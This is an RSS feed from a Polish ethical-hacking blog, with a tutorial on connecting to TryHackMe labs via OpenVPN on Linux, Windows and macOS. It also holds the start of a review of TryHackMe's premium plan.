<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Testy bezpieczeństwa - Pentestuj</title>
	<atom:link href="https://pentestuj.pl/category/testy-bezpieczenstwa/feed/" rel="self" type="application/rss+xml" />
	<link>https://pentestuj.pl/category/testy-bezpieczenstwa/</link>
	<description>Poradniki dla etycznych hakerów.</description>
	<lastBuildDate>Thu, 16 Apr 2026 11:41:10 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://pentestuj.pl/wp-content/uploads/2026/04/cropped-favicon-32x32.png</url>
	<title>Testy bezpieczeństwa - Pentestuj</title>
	<link>https://pentestuj.pl/category/testy-bezpieczenstwa/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>TryHackMe &#8211; jak połączyć się przez OpenVPN</title>
		<link>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/</link>
					<comments>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 02 May 2025 06:00:24 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15956</guid>

					<description><![CDATA[<p>TryHackMe jest świetną platformą edukacyjną do podnoszenia swoich umiejętności w dziedzinie cyberbezpieczeństwa. Oprócz wiedzy teoretycznej możemy także nabyć praktycznych umiejętności. Sama korzystam z THM w wersji premium. Super opcją jest środowisko wirtualne tzw. AttackBox, które udostępnia THM. Jest to specjalnie skonfigurowana maszyna wirtualna, zawierająca wszystkie niezbędne narzędzia, które są potrzebne do rozwiązywania zadań na THM. [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/">TryHackMe &#8211; jak połączyć się przez OpenVPN</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph"><a href="https://tryhackme.com/" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a> jest świetną platformą edukacyjną do podnoszenia swoich umiejętności w dziedzinie cyberbezpieczeństwa. Oprócz wiedzy teoretycznej możemy także nabyć praktycznych umiejętności. Sama korzystam z THM w wersji premium. Super opcją jest środowisko wirtualne tzw. AttackBox, które udostępnia THM. Jest to specjalnie skonfigurowana maszyna wirtualna, zawierająca wszystkie niezbędne narzędzia, które są potrzebne do rozwiązywania zadań na THM. Jednak dużo wygodniej korzysta się z własnego środowiska, które jest skonfigurowane wedle naszych potrzeb. Na szczęście na THM jest taka możliwość. Możemy połączyć nasze środowisko poprzez OpenVPN. W poradniku tym pokażę Ci jak to zrobić na Linuxie, Windowsie i MacOS.</p>



<h2 class="wp-block-heading">AttackBox czy własne środowisko?</h2>



<p class="wp-block-paragraph">Podczas pracy na TryHackMe masz do wyboru dwie opcje: AttackBox lub konfigurację własnego środowiska za pomocą OpenVPN. Każde z tych rozwiązań ma swoje zalety i wady, które warto rozważyć.</p>



<p class="wp-block-paragraph">AttackBox jest to wirtualna maszyna, którą można uruchomić bezpośrednio w przeglądarce. Jest gotowa do pracy zaraz po aktywacji, co czyni ją doskonałym wyborem dla osób początkujących lub tych, które chcą szybko rozpocząć ćwiczenia. Główne zalety AttackBoxa to łatwość użycia oraz zintegrowany pakiet narzędzi. Po prostu otrzymujesz środowisko, które jest od razu gotowe do pracy.</p>



<p class="wp-block-paragraph">Jednak AttackBox ma swoje ograniczenia. W darmowej wersji dostęp jest ograniczony czasowo (1 godzina dziennie). Wirtualna maszyna w przeglądarce może działać wolniej w porównaniu do lokalnego środowiska, a także czasem się &#8222;wysypuje&#8221;.</p>



<p class="wp-block-paragraph">Skonfigurowanie własnego środowiska i podłączenie się do THM za pomocą OpenVPN pozwala na większą kontrolę nad pracą w labach. Ta opcja wymaga nieco więcej wysiłku na początku, ale dzięki temu masz:</p>



<ul class="wp-block-list">
<li><strong>nieograniczony dostęp</strong> – możesz korzystać z labów bez limitu czasowego,</li>



<li><strong>większą elastyczność</strong> – masz możliwość użycia ulubionego systemu operacyjnego (np. Kali Linux, Parrot Security OS, itd.) i dowolnych narzędzi<strong>,</strong></li>



<li><strong>lepszą wydajność</strong> – operacje są wykonywane na Twoim sprzęcie, co przyspiesza działanie.</li>
</ul>



<p class="wp-block-paragraph">Jeśli dopiero zaczynasz swoją przygodę z cyberbezpieczeństwem, AttackBox będzie prostszą i szybszą opcją. Natomiast jeżeli planujesz długoterminowe korzystanie z TryHackMe i chcesz uczyć się pracy w bardziej realnych warunkach, warto poświęcić swój czas na konfigurację własnego środowiska z OpenVPN.</p>



<h2 class="wp-block-heading">Jak połączyć się poprzez OpenVPN</h2>



<h3 class="wp-block-heading">Pobierz plik konfiguracyjny</h3>



<p class="wp-block-paragraph">Zaloguj się do swojego konta na <a href="https://tryhackme.com/r/login" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a>. Następnie kliknij na swój awatar, który znajduje się w prawym górnym rogu ekranu. Z rozwijanego menu wybierz <strong>Access</strong>.</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png"><img fetchpriority="high" decoding="async" width="344" height="407" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png" alt="tryhackme openvpn" class="wp-image-15965" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn.png 344w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-254x300.png 254w" sizes="(max-width: 344px) 100vw, 344px" data-mwl-img-id="15965" /></a></figure>



<p class="wp-block-paragraph">Po przejściu na podstronę<strong> Access</strong>, upewnij się, że jest wybrana lokalizacja, która znajduje się najbliżej Ciebie:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21.png"><img decoding="async" width="1024" height="303" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-1024x303.png" alt="tryhackme openvpn" class="wp-image-15966" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-1024x303.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-300x89.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21-768x227.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-openvpn-21.png 1316w" sizes="(max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15966" /></a></figure>



<p class="wp-block-paragraph">W przypadku zmiany lokalizacji serwera, po wybraniu odpowiedniej opcji, kliknij przycisk <strong>Regenerate</strong>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png"><img decoding="async" width="704" height="512" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png" alt="jak połączyć się poprzez OpenVPN" class="wp-image-15970" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn.png 704w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-300x218.png 300w" sizes="(max-width: 704px) 100vw, 704px" data-mwl-img-id="15970" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png"><img loading="lazy" decoding="async" width="658" height="395" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png" alt="jak połączyć się poprzez OpenVPN" class="wp-image-15969" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2.png 658w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-2-300x180.png 300w" sizes="auto, (max-width: 658px) 100vw, 658px" data-mwl-img-id="15969" /></a></figure>



<p class="wp-block-paragraph">Następnie pobierz plik, klikając przycisk <strong>Download Configuration File</strong>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png"><img loading="lazy" decoding="async" width="658" height="395" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png" alt="" class="wp-image-15971" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3.png 658w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-polaczyc-sie-przez-openvpn-3-300x180.png 300w" sizes="auto, (max-width: 658px) 100vw, 658px" data-mwl-img-id="15971" /></a></figure>



<h3 class="wp-block-heading">Instalacja na Linuxie</h3>



<p class="wp-block-paragraph">Pokażę Ci jak skonfigurować połączenie na przykładzie systemu Kali Linux, który jest zainstalowany na maszynie wirtualnej VMware.</p>



<p class="wp-block-paragraph">W pierwszej kolejność upewnij się, że masz zainstalowany OpenVPN.</p>



<p class="has-white-color has-vivid-green-cyan-background-color has-text-color has-background has-link-color wp-elements-2 wp-block-paragraph">OpenVPN jest to otwartoźródłowy protokół VPN, który umożliwia tworzenie bezpiecznych połączeń typu site-to-site lub point-to-point, wykorzystując techniki wirtualnej sieci prywatnej. Dzięki OpenVPN możliwe jest szyfrowanie ruchu internetowego i tworzenie tuneli pomiędzy urządzeniem użytkownika a docelową siecią, co zapewnia prywatność i bezpieczeństwo danych przesyłanych przez Internet.<br><br>W kontekście  TryHackMe, OpenVPN umożliwia zdalne połączenie z siecią labów, a co za tym idzie uzyskuje się dostęp do środowisk, w których można wykonywać ćwiczenia praktyczne.<br><br>OpenVPN &#8211; dokumentacja Kali Linux: <a href="https://www.kali.org/tools/openvpn/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Jeśli chcesz sprawdzić, czy OpenVPN jest zainstalowany w Twoim systemie, wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">openvpn --version</code></pre>



<p class="wp-block-paragraph">Jeśli OpenVPN jest zainstalowane, zostanie wyświetlony numer wersji:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png"><img loading="lazy" decoding="async" width="957" height="683" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png" alt="OpenVPN Kali Linux THM" class="wp-image-15976" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm.png 957w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm-300x214.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-kali-linux-thm-768x548.png 768w" sizes="auto, (max-width: 957px) 100vw, 957px" data-mwl-img-id="15976" /></a></figure>



<p class="wp-block-paragraph">Poniższym poleceniem zainstalujesz OpenVPN:</p>



<pre class="wp-block-code"><code class="">sudo apt install openvpn</code></pre>



<p class="wp-block-paragraph">Teraz wystarczy włączyć plik konfiguracyjny, który pobrałaś/pobrałeś z THM z zakładki <strong>Access</strong>.</p>



<p class="wp-block-paragraph">Przejdź do katalogu w którym znajduje się pobrany plik. W moim przypadku plik ten znajduje się na pulpicie:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png"><img loading="lazy" decoding="async" width="883" height="636" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png" alt="tryhackme instalacja openvpn" class="wp-image-15977" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn.png 883w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn-300x216.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-instalacja-openvpn-768x553.png 768w" sizes="auto, (max-width: 883px) 100vw, 883px" data-mwl-img-id="15977" /></a></figure>



<p class="wp-block-paragraph">Następnie użyj poniższego polecenia, żeby nawiązać połączenie:</p>



<pre class="wp-block-code"><code class="">sudo openvpn nazwa_pobranego_pliku.ovpn</code></pre>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png"><img loading="lazy" decoding="async" width="663" height="339" src="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png" alt="jak połączyć się poprzez openvpn na tryhackme" class="wp-image-15980" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme.png 663w, https://pentestuj.pl/wp-content/uploads/2025/01/kali-linux-tryhackme-300x153.png 300w" sizes="auto, (max-width: 663px) 100vw, 663px" data-mwl-img-id="15980" /></a></figure>



<p class="wp-block-paragraph">Po kilku sekundach powinien pojawić się komunikat „Initialization Sequence Completed”:</p>



<figure class="wp-block-image size-large"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme.png"><img loading="lazy" decoding="async" width="1024" height="503" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-1024x503.png" alt="jak skonfigurować openvpn na tryhackme" class="wp-image-15986" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-1024x503.png 1024w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-300x147.png 300w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-768x377.png 768w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme.png 1086w" sizes="auto, (max-width: 1024px) 100vw, 1024px" data-mwl-img-id="15986" /></a></figure>



<p class="wp-block-paragraph">Aby się upewnić, że połączenie zostało nawiązane, otwórz nową kartę w terminalu i wpisz poniższe polecenie:</p>



<pre class="wp-block-code"><code class="">ifconfig</code></pre>



<p class="wp-block-paragraph">Powinien pojawić się interfejs tun:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="732" height="213" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2.png" alt="jak skonfigurować openvpn na tryhackme" class="wp-image-15985" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2.png 732w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-skonfigurowac-openvpn-na-tryhackme-2-300x87.png 300w" sizes="auto, (max-width: 732px) 100vw, 732px" data-mwl-img-id="15985" /></figure>



<h3 class="wp-block-heading">Instalacja na Windowsie</h3>



<p class="wp-block-paragraph">Ściągnij plik instalacyjny: <a href="https://openvpn.net/client/client-connect-vpn-for-windows/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Zainstaluj OpenVPN:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png"><img loading="lazy" decoding="async" width="504" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15992" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows.png 504w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-300x237.png 300w" sizes="auto, (max-width: 504px) 100vw, 504px" data-mwl-img-id="15992" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png"><img loading="lazy" decoding="async" width="502" height="394" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15993" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2.png 502w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-2-300x235.png 300w" sizes="auto, (max-width: 502px) 100vw, 502px" data-mwl-img-id="15993" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png"><img loading="lazy" decoding="async" width="505" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png" alt="instalacja openvpn na windows" class="wp-image-15994" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3.png 505w, https://pentestuj.pl/wp-content/uploads/2025/01/jak-zainstalowac-openvpn-na-windows-3-300x236.png 300w" sizes="auto, (max-width: 505px) 100vw, 505px" data-mwl-img-id="15994" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png"><img loading="lazy" decoding="async" width="499" height="398" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png" alt="jak zainstalować openvpn na windowsie" class="wp-image-15991" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows.png 499w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-windows-300x239.png 300w" sizes="auto, (max-width: 499px) 100vw, 499px" data-mwl-img-id="15991" /></a></figure>



<p class="wp-block-paragraph">Po zainstalowaniu pojawi się okno w którym należy kliknąć <strong>CONNECT</strong>:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="406" height="692" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2.png" alt="windows openvpn THM" class="wp-image-15997" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2.png 406w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-2-176x300.png 176w" sizes="auto, (max-width: 406px) 100vw, 406px" data-mwl-img-id="15997" /></figure>



<p class="wp-block-paragraph">Następnie wybierz plik .ovpn, który wcześniej ściągnęłaś/ściągnąłeś: <a href="https://tryhackme.com/r/access" target="_blank" rel="noreferrer noopener nofollow">https://tryhackme.com/r/access</a></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="408" height="695" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme.png" alt="windows openvpn THM" class="wp-image-15996" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme.png 408w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-176x300.png 176w" sizes="auto, (max-width: 408px) 100vw, 408px" data-mwl-img-id="15996" /></figure>



<p class="wp-block-paragraph">Połączenie powinno zostać nawiązane:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png"><img loading="lazy" decoding="async" width="409" height="696" src="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png" alt="windows openvpn tryhackme" class="wp-image-15998" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3.png 409w, https://pentestuj.pl/wp-content/uploads/2025/01/openvpn-windows-tryhackme-3-176x300.png 176w" sizes="auto, (max-width: 409px) 100vw, 409px" data-mwl-img-id="15998" /></a></figure>



<h3 class="wp-block-heading">Instalacja na MacOS</h3>



<p class="wp-block-paragraph">Pobierz plik instalacyjny: <a href="https://openvpn.net/client/" target="_blank" rel="noreferrer noopener nofollow">KLIK!</a></p>



<p class="wp-block-paragraph">Zainstaluj OpenVPN:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png"><img loading="lazy" decoding="async" width="626" height="457" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png" alt="instalacja openvpn na macos" class="wp-image-16001" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1.png 626w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-1-300x219.png 300w" sizes="auto, (max-width: 626px) 100vw, 626px" data-mwl-img-id="16001" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png"><img loading="lazy" decoding="async" width="630" height="457" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png" alt="instalacja openvpn na macos" class="wp-image-16002" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2.png 630w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-2-300x218.png 300w" sizes="auto, (max-width: 630px) 100vw, 630px" data-mwl-img-id="16002" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png"><img loading="lazy" decoding="async" width="628" height="455" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png" alt="instalacja openvpn na macos" class="wp-image-16003" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3.png 628w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-3-300x217.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" data-mwl-img-id="16003" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png"><img loading="lazy" decoding="async" width="627" height="453" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png" alt="instalacja openvpn na macos" class="wp-image-16004" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4.png 627w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-4-300x217.png 300w" sizes="auto, (max-width: 627px) 100vw, 627px" data-mwl-img-id="16004" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png"><img loading="lazy" decoding="async" width="631" height="454" src="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16005" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5.png 631w, https://pentestuj.pl/wp-content/uploads/2025/01/instalacja-openvpn-na-macos-tryhackme-5-300x216.png 300w" sizes="auto, (max-width: 631px) 100vw, 631px" data-mwl-img-id="16005" /></a></figure>



<p class="wp-block-paragraph">Po zainstalowaniu pojawi się okno w którym należy kliknąć <strong>CONNECT</strong>, następnie wybierz plik .ovpn, który ściągnęłaś/ściągnąłeś <a href="https://tryhackme.com/r/access" target="_blank" rel="noreferrer noopener nofollow">https://tryhackme.com/r/access</a>:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png"><img loading="lazy" decoding="async" width="408" height="696" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16007" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2.png 408w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-2-176x300.png 176w" sizes="auto, (max-width: 408px) 100vw, 408px" data-mwl-img-id="16007" /></a></figure>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png"><img loading="lazy" decoding="async" width="409" height="694" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16008" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3.png 409w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-3-177x300.png 177w" sizes="auto, (max-width: 409px) 100vw, 409px" data-mwl-img-id="16008" /></a></figure>



<p class="wp-block-paragraph">Połączenie powinno zostać nawiązane:</p>



<figure class="wp-block-image size-full"><a href="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png"><img loading="lazy" decoding="async" width="410" height="699" src="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png" alt="jak zainstalować openvpn macos tryhackme" class="wp-image-16009" srcset="https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4.png 410w, https://pentestuj.pl/wp-content/uploads/2025/01/tryhackme-jak-zainstalowac-openvpn-macos-4-176x300.png 176w" sizes="auto, (max-width: 410px) 100vw, 410px" data-mwl-img-id="16009" /></a></figure>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/">TryHackMe &#8211; jak połączyć się przez OpenVPN</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://pentestuj.pl/tryhackme-jak-polaczyc-sie-przez-openvpn/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</title>
		<link>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/</link>
					<comments>https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/#respond</comments>
		
		<dc:creator><![CDATA[MonikaSz]]></dc:creator>
		<pubDate>Fri, 25 Apr 2025 06:00:03 +0000</pubDate>
				<category><![CDATA[Testy bezpieczeństwa]]></category>
		<guid isPermaLink="false">https://pentestuj.pl/?p=15871</guid>

					<description><![CDATA[<p>W dzisiejszych czasach cyberbezpieczeństwo odgrywa kluczową rolę w ochronie naszych danych, systemów i prywatności. Coraz więcej osób, zarówno początkujących, jak i profesjonalistów, poszukuje skutecznych sposobów na naukę i rozwijanie swoich umiejętności. Dziedzina cyberbezpieczeństwa dynamicznie się zmienia, a zagrożenia stają się coraz bardziej wyrafinowane. Aby nadążyć za tymi zmianami i skutecznie chronić dane oraz systemy, niezbędne [&#8230;]</p>
<p>Artykuł <a href="https://pentestuj.pl/tryhackme-czym-jest-i-czy-warto-wykupic-wersje-platna/">TryHackMe &#8211; czym jest i czy warto wykupić wersję premium</a> pochodzi z serwisu <a href="https://pentestuj.pl">Pentestuj</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">W dzisiejszych czasach cyberbezpieczeństwo odgrywa kluczową rolę w ochronie naszych danych, systemów i prywatności. Coraz więcej osób, zarówno początkujących, jak i profesjonalistów, poszukuje skutecznych sposobów na naukę i rozwijanie swoich umiejętności. Dziedzina cyberbezpieczeństwa dynamicznie się zmienia, a zagrożenia stają się coraz bardziej wyrafinowane. Aby nadążyć za tymi zmianami i skutecznie chronić dane oraz systemy, niezbędne jest ciągłe doskonalenie swoich umiejętności. Jedną z najpopularniejszych platform edukacyjnych jest właśnie <a href="https://tryhackme.com" target="_blank" rel="noreferrer noopener nofollow">TryHackMe</a>. W artykule tym przedstawię swoją opinię jako użytkownika premium. Postaram się także odpowiedzieć na pytanie czy w ogóle warto wykupić płatną wersję.</p>



<h2 class="wp-block-heading">Czym jest TryHackMe</h2>



<p class="wp-block-paragraph">Większość tradycyjnych kursów online o tematyce cyberbezpieczeństwa zazwyczaj skupia się na teorii. Owszem jest to bardzo ważne, zwłaszcza na początku nauki. Jednak z czasem przychodzi taki moment, że trzeba wypróbować i przećwiczyć zdobytą wiedzę w praktyce. To właśnie dzięki ćwiczeniom praktycznym nasza wiedza staje się bardziej ugruntowana. <strong>Oczywiście nie wolno nam testować zabezpieczeń systemów do którym nie mamy uprawnień. </strong>Należy również pamiętać o tym, że jeśli nie mamy doświadczenia i nie wiemy co dokładnie robimy, możemy podczas testów trwale uszkodzić dany system. Niestety może wiązać się to z przykrymi konsekwencjami.</p>



